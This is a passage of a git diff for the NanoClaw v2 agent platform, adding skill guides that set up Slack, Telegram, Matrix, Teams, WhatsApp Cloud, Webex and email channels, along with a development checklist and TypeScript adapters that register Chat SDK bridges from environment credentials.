-u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> @mention the bot in a Linear issue comment. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './linear-v2.js'` in `src/channels/index.ts` +2. Remove `LINEAR_API_KEY` and `LINEAR_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @chat-adapter/linear` +4. Rebuild and restart diff --git a/.claude/skills/add-matrix-v2/SKILL.md b/.claude/skills/add-matrix-v2/SKILL.md new file mode 100644 index 0000000..1e4848f --- /dev/null +++ b/.claude/skills/add-matrix-v2/SKILL.md @@ -0,0 +1,77 @@ +--- +name: add-matrix-v2 +description: Add Matrix channel integration to NanoClaw v2 via Chat SDK. Works with any Matrix homeserver (Element, Beeper, etc.). +--- + +# Add Matrix Channel (v2) + +This skill adds Matrix support to NanoClaw v2 using the Chat SDK bridge. Works with any Matrix homeserver. + +## Phase 1: Pre-flight + +Check if `src/channels/matrix-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @beeper/chat-adapter-matrix +``` + +### Enable the channel + +Uncomment the Matrix import in `src/channels/index.ts`: + +```typescript +import './matrix-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Matrix bot account + +> 1. Register a bot account on your Matrix homeserver (e.g., via Element) +> 2. Get the homeserver URL (e.g., `https://matrix.org` or your self-hosted URL) +> 3. Get an access token: +> - In Element: **Settings** > **Help & About** > **Access Token** (advanced) +> - Or via API: `curl -XPOST 'https://matrix.org/_matrix/client/r0/login' -d '{"type":"m.login.password","user":"botuser","password":"..."}'` +> 4. Note the bot's user ID (e.g., `@botuser:matrix.org`) + +### Configure environment + +Add to `.env`: + +```bash +MATRIX_BASE_URL=https://matrix.org +MATRIX_ACCESS_TOKEN=your-access-token +MATRIX_USER_ID=@botuser:matrix.org +MATRIX_BOT_USERNAME=botuser +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Invite the bot to a Matrix room and send a message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './matrix-v2.js'` in `src/channels/index.ts` +2. Remove `MATRIX_BASE_URL`, `MATRIX_ACCESS_TOKEN`, `MATRIX_USER_ID`, `MATRIX_BOT_USERNAME` from `.env` +3. `npm uninstall @beeper/chat-adapter-matrix` +4. Rebuild and restart diff --git a/.claude/skills/add-resend-v2/SKILL.md b/.claude/skills/add-resend-v2/SKILL.md new file mode 100644 index 0000000..f858037 --- /dev/null +++ b/.claude/skills/add-resend-v2/SKILL.md @@ -0,0 +1,79 @@ +--- +name: add-resend-v2 +description: Add Resend (email) channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Resend Email Channel (v2) + +This skill adds email support via Resend to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/resend-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @resend/chat-sdk-adapter +``` + +### Enable the channel + +Uncomment the Resend import in `src/channels/index.ts`: + +```typescript +import './resend-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Resend credentials + +> 1. Go to [resend.com](https://resend.com) and create an account +> 2. Add and verify your sending domain +> 3. Go to **API Keys** and create a new key +> 4. Set up a webhook: +> - Go to **Webhooks** > **Add webhook** +> - URL: `https://your-domain/webhook/resend` +> - Events: select **email.received** (for inbound email) +> - Copy the signing secret + +### Configure environment + +Add to `.env`: + +```bash +RESEND_API_KEY=re_... +RESEND_FROM_ADDRESS=bot@yourdomain.com +RESEND_FROM_NAME=NanoClaw +RESEND_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send an email to the configured from address. The bot should respond via email within a few seconds. + +## Removal + +1. Comment out `import './resend-v2.js'` in `src/channels/index.ts` +2. Remove `RESEND_API_KEY`, `RESEND_FROM_ADDRESS`, `RESEND_FROM_NAME`, `RESEND_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @resend/chat-sdk-adapter` +4. Rebuild and restart diff --git a/.claude/skills/add-slack-v2/SKILL.md b/.claude/skills/add-slack-v2/SKILL.md new file mode 100644 index 0000000..c5b5a17 --- /dev/null +++ b/.claude/skills/add-slack-v2/SKILL.md @@ -0,0 +1,81 @@ +--- +name: add-slack-v2 +description: Add Slack channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Slack Channel (v2) + +This skill adds Slack support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/slack-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/slack +``` + +### Enable the channel + +Uncomment the Slack import in `src/channels/index.ts`: + +```typescript +import './slack-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Slack App (if needed) + +If the user doesn't have a Slack app: + +> 1. Go to [api.slack.com/apps](https://api.slack.com/apps) and click **Create New App** > **From scratch** +> 2. Name it (e.g., "NanoClaw") and select your workspace +> 3. Go to **OAuth & Permissions** and add Bot Token Scopes: +> - `chat:write`, `channels:history`, `groups:history`, `im:history`, `channels:read`, `groups:read`, `users:read`, `reactions:write` +> 4. Click **Install to Workspace** and copy the **Bot User OAuth Token** (`xoxb-...`) +> 5. Go to **Basic Information** and copy the **Signing Secret** +> 6. Go to **Event Subscriptions**, enable events, and subscribe to: +> - `message.channels`, `message.groups`, `message.im`, `app_mention` +> 7. Set the Request URL to your webhook endpoint (e.g., `https://your-domain/webhook/slack`) + +### Configure environment + +Add to `.env`: + +```bash +SLACK_BOT_TOKEN=xoxb-your-bot-token +SLACK_SIGNING_SECRET=your-signing-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Slack channel, then send a message or @mention the bot. +> The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './slack-v2.js'` in `src/channels/index.ts` +2. Remove `SLACK_BOT_TOKEN` and `SLACK_SIGNING_SECRET` from `.env` +3. `npm uninstall @chat-adapter/slack` +4. Rebuild and restart diff --git a/.claude/skills/add-teams-v2/SKILL.md b/.claude/skills/add-teams-v2/SKILL.md new file mode 100644 index 0000000..78f9650 --- /dev/null +++ b/.claude/skills/add-teams-v2/SKILL.md @@ -0,0 +1,75 @@ +--- +name: add-teams-v2 +description: Add Microsoft Teams channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Microsoft Teams Channel (v2) + +This skill adds Microsoft Teams support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/teams-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/teams +``` + +### Enable the channel + +Uncomment the Teams import in `src/channels/index.ts`: + +```typescript +import './teams-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Teams Bot + +> 1. Go to [Azure Portal](https://portal.azure.com) > **Azure Bot** > **Create** +> 2. Fill in the bot details and create +> 3. Go to **Configuration**: +> - Messaging endpoint: `https://your-domain/webhook/teams` +> 4. Go to **Channels** > add **Microsoft Teams** +> 5. Note the **Microsoft App ID** and **Password** (from the bot's Azure AD app registration) + +### Configure environment + +Add to `.env`: + +```bash +TEAMS_APP_ID=your-app-id +TEAMS_APP_PASSWORD=your-app-password +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Teams channel or send it a direct message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './teams-v2.js'` in `src/channels/index.ts` +2. Remove `TEAMS_APP_ID` and `TEAMS_APP_PASSWORD` from `.env` +3. `npm uninstall @chat-adapter/teams` +4. Rebuild and restart diff --git a/.claude/skills/add-telegram-v2/SKILL.md b/.claude/skills/add-telegram-v2/SKILL.md new file mode 100644 index 0000000..7bcc079 --- /dev/null +++ b/.claude/skills/add-telegram-v2/SKILL.md @@ -0,0 +1,82 @@ +--- +name: add-telegram-v2 +description: Add Telegram channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Telegram Channel (v2) + +This skill adds Telegram support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/telegram-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/telegram +``` + +### Enable the channel + +Uncomment the Telegram import in `src/channels/index.ts`: + +```typescript +import './telegram-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Telegram Bot (if needed) + +> 1. Open Telegram and search for `@BotFather` +> 2. Send `/newbot` and follow the prompts: +> - Bot name: Something friendly (e.g., "NanoClaw Assistant") +> - Bot username: Must end with "bot" (e.g., "nanoclaw_bot") +> 3. Copy the bot token (looks like `123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11`) + +### Disable Group Privacy (for group chats) + +> **Important for group chats**: By default, Telegram bots only see @mentions and commands in groups. To let the bot see all messages: +> +> 1. Open `@BotFather` > `/mybots` > select your bot +> 2. **Bot Settings** > **Group Privacy** > **Turn off** + +### Configure environment + +Add to `.env`: + +```bash +TELEGRAM_BOT_TOKEN=your-bot-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send a message to your bot in Telegram (search for its username). +> For groups: add the bot to a group and send a message. +> The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './telegram-v2.js'` in `src/channels/index.ts` +2. Remove `TELEGRAM_BOT_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/telegram` +4. Rebuild and restart diff --git a/.claude/skills/add-webex-v2/SKILL.md b/.claude/skills/add-webex-v2/SKILL.md new file mode 100644 index 0000000..65f0dcf --- /dev/null +++ b/.claude/skills/add-webex-v2/SKILL.md @@ -0,0 +1,75 @@ +--- +name: add-webex-v2 +description: Add Webex channel integration to NanoClaw v2 via Chat SDK. +--- + +# Add Webex Channel (v2) + +This skill adds Cisco Webex support to NanoClaw v2 using the Chat SDK bridge. + +## Phase 1: Pre-flight + +Check if `src/channels/webex-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @bitbasti/chat-adapter-webex +``` + +### Enable the channel + +Uncomment the Webex import in `src/channels/index.ts`: + +```typescript +import './webex-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create Webex Bot + +> 1. Go to [developer.webex.com](https://developer.webex.com/my-apps/new/bot) +> 2. Create a new bot and copy the **Bot Access Token** +> 3. Set up a webhook: +> - Use the Webex API to create a webhook pointing to `https://your-domain/webhook/webex` +> - Or use the Webex Developer Portal +> - Set a webhook secret for signature verification + +### Configure environment + +Add to `.env`: + +```bash +WEBEX_BOT_TOKEN=your-bot-token +WEBEX_WEBHOOK_SECRET=your-webhook-secret +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Add the bot to a Webex space or send it a direct message. The bot should respond within a few seconds. + +## Removal + +1. Comment out `import './webex-v2.js'` in `src/channels/index.ts` +2. Remove `WEBEX_BOT_TOKEN` and `WEBEX_WEBHOOK_SECRET` from `.env` +3. `npm uninstall @bitbasti/chat-adapter-webex` +4. Rebuild and restart diff --git a/.claude/skills/add-whatsapp-cloud-v2/SKILL.md b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md new file mode 100644 index 0000000..32a08ae --- /dev/null +++ b/.claude/skills/add-whatsapp-cloud-v2/SKILL.md @@ -0,0 +1,82 @@ +--- +name: add-whatsapp-cloud-v2 +description: Add WhatsApp Business Cloud API channel to NanoClaw v2 via Chat SDK. Official Meta API (not Baileys). +--- + +# Add WhatsApp Cloud API Channel (v2) + +This skill adds WhatsApp support via the official Meta WhatsApp Business Cloud API. This is different from the Baileys-based WhatsApp adapter (which uses WhatsApp Web protocol). + +## Phase 1: Pre-flight + +Check if `src/channels/whatsapp-cloud-v2.ts` exists and the import is uncommented in `src/channels/index.ts`. If both are in place, skip to Phase 3. + +## Phase 2: Apply Code Changes + +### Install the adapter package + +```bash +npm install @chat-adapter/whatsapp +``` + +### Enable the channel + +Uncomment the WhatsApp Cloud API import in `src/channels/index.ts`: + +```typescript +import './whatsapp-cloud-v2.js'; +``` + +### Build + +```bash +npm run build +``` + +## Phase 3: Setup + +### Create WhatsApp Business App + +> 1. Go to [Meta for Developers](https://developers.facebook.com/apps/) and create an app (type: Business) +> 2. Add the **WhatsApp** product +> 3. Go to **WhatsApp** > **API Setup**: +> - Note the **Phone Number ID** (not the phone number itself) +> - Generate a **permanent System User access token** with `whatsapp_business_messaging` permission +> 4. Go to **WhatsApp** > **Configuration**: +> - Set webhook URL: `https://your-domain/webhook/whatsapp` +> - Set a **Verify Token** (any random string you choose) +> - Subscribe to webhook fields: `messages` +> 5. Copy the **App Secret** from **Settings** > **Basic** + +### Configure environment + +Add to `.env`: + +```bash +WHATSAPP_ACCESS_TOKEN=your-system-user-access-token +WHATSAPP_PHONE_NUMBER_ID=your-phone-number-id +WHATSAPP_APP_SECRET=your-app-secret +WHATSAPP_VERIFY_TOKEN=your-verify-token +``` + +Sync to container: `mkdir -p data/env && cp .env data/env/env` + +### Build and restart + +```bash +npm run build +launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS +# systemctl --user restart nanoclaw # Linux +``` + +## Phase 4: Verify + +> Send a message to your WhatsApp Business number. The bot should respond within a few seconds. +> Note: WhatsApp Cloud API only supports 1:1 DMs, not group chats. + +## Removal + +1. Comment out `import './whatsapp-cloud-v2.js'` in `src/channels/index.ts` +2. Remove `WHATSAPP_ACCESS_TOKEN`, `WHATSAPP_PHONE_NUMBER_ID`, `WHATSAPP_APP_SECRET`, `WHATSAPP_VERIFY_TOKEN` from `.env` +3. `npm uninstall @chat-adapter/whatsapp` +4. Rebuild and restart diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md new file mode 100644 index 0000000..80f91d9 --- /dev/null +++ b/docs/v2-checklist.md @@ -0,0 +1,189 @@ +# NanoClaw v2 Checklist + +Status: [x] done, [~] partial, [ ] not started + +--- + +## Core Architecture + +- [x] Session DB replaces IPC (messages_in / messages_out as sole IO) +- [x] Central DB (agent groups, messaging groups, sessions, routing) +- [x] Host sweep (stale detection, retry with backoff, recurrence scheduling) +- [x] Active delivery polling (1s for running sessions) +- [x] Sweep delivery polling (60s across all sessions) +- [x] Container runner with session DB mounting +- [x] Per-session container lifecycle and idle timeout +- [x] Session resume (sessionId + resumeAt across queries) +- [x] Graceful shutdown (SIGTERM/SIGINT handlers) +- [x] Orphan container cleanup on startup + +## Agent Runner (Container) + +- [x] Poll loop (pending messages, status transitions, idle detection) +- [x] Concurrent follow-up polling while agent is thinking +- [x] Message formatter (chat, task, webhook, system kinds) +- [x] Command categorization (admin, filtered, passthrough) +- [x] Transcript archiving (pre-compact hook) +- [x] XML message formatting with sender, timestamp +- [~] Media handling inbound (formatter references attachments, no download-from-URL) + +## Agent Providers + +- [x] Claude provider (Agent SDK, tool allowlist, message stream, session resume) +- [x] Mock provider (testing) +- [x] Provider factory +- [ ] Codex provider +- [ ] OpenCode provider + +## Channel Adapters + +- [x] Channel adapter interface (setup, deliver, teardown, typing) +- [x] Chat SDK bridge (generic, works with any Chat SDK adapter) +- [x] Chat SDK SQLite state adapter (KV, subscriptions, locks, lists) +- [x] Discord via Chat SDK +- [~] Slack via Chat SDK (adapter + skill written, not tested) +- [~] Telegram via Chat SDK (adapter + skill written, not tested) +- [~] Microsoft Teams via Chat SDK (adapter + skill written, not tested) +- [~] Google Chat via Chat SDK (adapter + skill written, not tested) +- [~] Linear via Chat SDK (adapter + skill written, not tested) +- [~] GitHub via Chat SDK (adapter + skill written, not tested) +- [~] WhatsApp Cloud API via Chat SDK (adapter + skill written, not tested) +- [~] Resend (email) via Chat SDK (adapter + skill written, not tested) +- [~] Matrix via Chat SDK (adapter + skill written, not tested) +- [~] Webex via Chat SDK (adapter + skill written, not tested) +- [~] iMessage via Chat SDK (adapter + skill written, not tested) +- [x] Backward compatibility with native channels (old adapters still work) +- [ ] Setup flow wired to v2 channels +- [ ] Setup communicates each group is a different agent, distinct names +- [ ] Setup vs production channel separation +- [ ] Generate visual diagram of customized instance at end of setup + +## Routing + +- [x] Inbound routing (platform ID + thread ID -> agent group -> session) +- [x] Auto-create messaging group on first message +- [x] Session resolution (shared vs per-thread modes) +- [x] Message writing to session DB with seq numbering +- [x] Container waking on new message +- [~] Trigger rule matching (router picks highest-priority agent, regex/mention matching TODO) + +## Rich Messaging + +- [x] Interactive cards with buttons (ask_user_question) +- [x] Native platform rendering (Discord embeds, buttons) +- [x] Message editing +- [x] Emoji reactions +- [x] File sending from agent (outbox -> delivery) +- [x] File upload delivery (buffer-based via adapter) +- [x] Markdown formatting +- [~] Formatted /usage, /context, /cost output (commands pass through, no rich card formatting) +- [ ] Context window visibility: show position in context, approaching compaction, when compaction happens, post-compaction state +- [ ] Threading and replies support + +## MCP Tools (Container) + +- [x] send_message (text, optional cross-channel targeting) +- [x] send_file (copy to outbox, write messages_out) +- [x] edit_message +- [x] add_reaction +- [x] send_card +- [x] ask_user_question (blocking poll for response) +- [x] schedule_task (with process_after and recurrence) +- [x] list_tasks +- [x] cancel_task / pause_task / resume_task +- [x] send_to_agent (writes message, routing incomplete) + +## Scheduling + +- [x] One-shot scheduled messages (process_after / deliver_after) +- [x] Recurring tasks via cron expressions +- [x] Host sweep picks up due messages and advances recurrence +- [x] Scheduled outbound messages (no container wake needed) +- [~] Pre-agent scripts (task kind with script field, documented but not verified) + +## Permissions and Approval Flows + +- [x] Admin user ID per group +- [x] Admin-only command filtering in container +- [ ] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) +- [ ] Role definitions beyond admin (custom roles, per-group permissions) +- [ ] Configurable sensitive action list +- [ ] Non-main groups requesting sensitive actions +- [ ] Agent requests dependency/package install (persists via Dockerfile change, requires approval) +- [ ] Agent self-modification flow: + - [ ] Agent requests code changes by delegating to a builder agent + - [ ] Builder agent has write access to the requesting agent's code and Dockerfile + - [ ] Approval modes: approve per-edit as builder works, or approve full diff at the end + - [ ] Diff review card sent to admin showing all proposed changes + - [ ] On approval: apply edits, rebuild container image, restart agent + - [ ] On rejection: discard changes, notify requesting agent + +## Agent-to-Agent Communication + +- [~] send_to_agent MCP tool (writes message, host-side routing TODO) +- [ ] Host delivery to target agent's session DB +- [ ] Agent spawning a new sub-agent +- [ ] Internal-only agents (no channel attached) +- [ ] Permission delegation from parent to child agent +- [ ] Specialist sub-agents (browser agent, dev agent — user's agent delegates with request/approval) + +## In-Chat Agent Management + +- [x] /clear (resets session) +- [x] /compact (triggers context compaction) +- [~] /context (passes through, no rich formatting) +- [~] /usage (passes through, no rich formatting) +- [~] /cost (passes through, no rich formatting) +- [ ] Smooth session transitions: load context into new sessions, solve cold start problem +- [ ] MCP/package installation from chat +- [ ] Browse MCP marketplace / skills repository from chat + +## Webhook Ingestion + +- [ ] Generic webhook endpoint for external events +- [ ] GitHub webhook handling +- [ ] CI/CD notification handling +- [ ] Webhook -> messages_in routing + +## System Actions + +- [ ] register_group from inside agent (stub exists) +- [ ] reset_session from inside agent (stub exists) + +## Integrations + +- [ ] Vercel CLI integration in setup process +- [ ] Skills for deploying and managing Vercel websites from chat +- [ ] Office 365 integration (create/edit documents with inline suggestions) + +## Memory + +- [ ] Shared memory with approval flow (write to global memory requires admin approval) + +## Migration + +- [ ] v1 -> v2 migration skill +- [ ] Database migration (v1 SQLite -> v2 central DB + session DBs) +- [ ] Channel credential preservation +- [ ] Custom skill/code porting + +## Testing + +- [x] DB layer tests (agent groups, messaging groups, sessions, pending questions) +- [x] Channel registry tests +- [x] Poll loop / formatter tests +- [x] Integration test (container agent-runner) +- [x] Host core tests +- [ ] End-to-end flow tests (message in -> agent -> message out -> delivery) +- [ ] Delivery polling tests +- [ ] Host sweep tests (stale detection, recurrence) +- [ ] Multi-channel integration tests + +## Rollout + +- [ ] Internal testing across all channels +- [ ] Migration skill built and tested +- [ ] PR factory migrated as validation +- [ ] Blog post / announcement +- [ ] Video demos of key flows +- [ ] Vercel coordination diff --git a/src/channels/gchat-v2.ts b/src/channels/gchat-v2.ts new file mode 100644 index 0000000..48376f2 --- /dev/null +++ b/src/channels/gchat-v2.ts @@ -0,0 +1,20 @@ +/** + * Google Chat channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createGoogleChatAdapter } from '@chat-adapter/gchat'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('gchat', { + factory: () => { + const env = readEnvFile(['GCHAT_CREDENTIALS']); + if (!env.GCHAT_CREDENTIALS) return null; + const gchatAdapter = createGoogleChatAdapter({ + credentials: JSON.parse(env.GCHAT_CREDENTIALS), + }); + return createChatSdkBridge({ adapter: gchatAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/github-v2.ts b/src/channels/github-v2.ts new file mode 100644 index 0000000..19b90d2 --- /dev/null +++ b/src/channels/github-v2.ts @@ -0,0 +1,22 @@ +/** + * GitHub channel adapter (v2) — uses Chat SDK bridge. + * PR comment threads as conversations. + * Self-registers on import. + */ +import { createGitHubAdapter } from '@chat-adapter/github'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('github', { + factory: () => { + const env = readEnvFile(['GITHUB_TOKEN', 'GITHUB_WEBHOOK_SECRET']); + if (!env.GITHUB_TOKEN) return null; + const githubAdapter = createGitHubAdapter({ + token: env.GITHUB_TOKEN, + webhookSecret: env.GITHUB_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: githubAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/imessage-v2.ts b/src/channels/imessage-v2.ts new file mode 100644 index 0000000..a31a76d --- /dev/null +++ b/src/channels/imessage-v2.ts @@ -0,0 +1,25 @@ +/** + * iMessage channel adapter (v2) — uses Chat SDK bridge. + * Supports local mode (macOS Full Disk Access) and remote mode (Photon API). + * Self-registers on import. + */ +import { createiMessageAdapter } from 'chat-adapter-imessage'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('imessage', { + factory: () => { + const env = readEnvFile(['IMESSAGE_ENABLED', 'IMESSAGE_LOCAL', 'IMESSAGE_SERVER_URL', 'IMESSAGE_API_KEY']); + const isLocal = env.IMESSAGE_LOCAL !== 'false'; + if (isLocal && !env.IMESSAGE_ENABLED) return null; + if (!isLocal && !env.IMESSAGE_SERVER_URL) return null; + const imessageAdapter = createiMessageAdapter({ + local: isLocal, + serverUrl: env.IMESSAGE_SERVER_URL, + apiKey: env.IMESSAGE_API_KEY, + }); + return createChatSdkBridge({ adapter: imessageAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/index.ts b/src/channels/index.ts index 44f4f55..bad8090 100644 --- a/src/channels/index.ts +++ b/src/channels/index.ts @@ -1,12 +1,42 @@ // Channel self-registration barrel file. -// Each import triggers the channel module's registerChannel() call. +// Each import triggers the channel module's registerChannelAdapter() call. // discord - -// gmail +// import './discord-v2.js'; // slack +// import './slack-v2.js'; // telegram +// import './telegram-v2.js'; -// whatsapp +// github +// import './github-v2.js'; + +// linear +// import './linear-v2.js'; + +// google chat +// import './gchat-v2.js'; + +// microsoft teams +// import './teams-v2.js'; + +// whatsapp cloud api +// import './whatsapp-cloud-v2.js'; + +// resend (email) +// import './resend-v2.js'; + +// matrix +// import './matrix-v2.js'; + +// webex +// import './webex-v2.js'; + +// imessage +// import './imessage-v2.js'; + +// gmail (native, no Chat SDK) + +// whatsapp baileys (native, no Chat SDK) diff --git a/src/channels/linear-v2.ts b/src/channels/linear-v2.ts new file mode 100644 index 0000000..11014f8 --- /dev/null +++ b/src/channels/linear-v2.ts @@ -0,0 +1,22 @@ +/** + * Linear channel adapter (v2) — uses Chat SDK bridge. + * Issue comment threads as conversations. + * Self-registers on import. + */ +import { createLinearAdapter } from '@chat-adapter/linear'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('linear', { + factory: () => { + const env = readEnvFile(['LINEAR_API_KEY', 'LINEAR_WEBHOOK_SECRET']); + if (!env.LINEAR_API_KEY) return null; + const linearAdapter = createLinearAdapter({ + apiKey: env.LINEAR_API_KEY, + webhookSecret: env.LINEAR_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: linearAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/matrix-v2.ts b/src/channels/matrix-v2.ts new file mode 100644 index 0000000..a286fda --- /dev/null +++ b/src/channels/matrix-v2.ts @@ -0,0 +1,23 @@ +/** + * Matrix channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createMatrixAdapter } from '@beeper/chat-adapter-matrix'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('matrix', { + factory: () => { + const env = readEnvFile(['MATRIX_BASE_URL', 'MATRIX_ACCESS_TOKEN', 'MATRIX_USER_ID', 'MATRIX_BOT_USERNAME']); + if (!env.MATRIX_BASE_URL) return null; + // Matrix adapter reads from process.env directly + process.env.MATRIX_BASE_URL = env.MATRIX_BASE_URL; + if (env.MATRIX_ACCESS_TOKEN) process.env.MATRIX_ACCESS_TOKEN = env.MATRIX_ACCESS_TOKEN; + if (env.MATRIX_USER_ID) process.env.MATRIX_USER_ID = env.MATRIX_USER_ID; + if (env.MATRIX_BOT_USERNAME) process.env.MATRIX_BOT_USERNAME = env.MATRIX_BOT_USERNAME; + const matrixAdapter = createMatrixAdapter(); + return createChatSdkBridge({ adapter: matrixAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/resend-v2.ts b/src/channels/resend-v2.ts new file mode 100644 index 0000000..5dfe5ab --- /dev/null +++ b/src/channels/resend-v2.ts @@ -0,0 +1,23 @@ +/** + * Resend (email) channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createResendAdapter } from '@resend/chat-sdk-adapter'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('resend', { + factory: () => { + const env = readEnvFile(['RESEND_API_KEY', 'RESEND_FROM_ADDRESS', 'RESEND_FROM_NAME', 'RESEND_WEBHOOK_SECRET']); + if (!env.RESEND_API_KEY) return null; + const resendAdapter = createResendAdapter({ + apiKey: env.RESEND_API_KEY, + fromAddress: env.RESEND_FROM_ADDRESS, + fromName: env.RESEND_FROM_NAME, + webhookSecret: env.RESEND_WEBHOOK_SECRET, + }); + return createChatSdkBridge({ adapter: resendAdapter, concurrency: 'queue' }); + }, +}); diff --git a/src/channels/slack-v2.ts b/src/channels/slack-v2.ts new file mode 100644 index 0000000..1413c05 --- /dev/null +++ b/src/channels/slack-v2.ts @@ -0,0 +1,21 @@ +/** + * Slack channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createSlackAdapter } from '@chat-adapter/slack'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('slack', { + factory: () => { + const env = readEnvFile(['SLACK_BOT_TOKEN', 'SLACK_SIGNING_SECRET']); + if (!env.SLACK_BOT_TOKEN) return null; + const slackAdapter = createSlackAdapter({ + botToken: env.SLACK_BOT_TOKEN, + signingSecret: env.SLACK_SIGNING_SECRET, + }); + return createChatSdkBridge({ adapter: slackAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/channels/teams-v2.ts b/src/channels/teams-v2.ts new file mode 100644 index 0000000..591c5c7 --- /dev/null +++ b/src/channels/teams-v2.ts @@ -0,0 +1,21 @@ +/** + * Microsoft Teams channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createTeamsAdapter } from '@chat-adapter/teams'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from 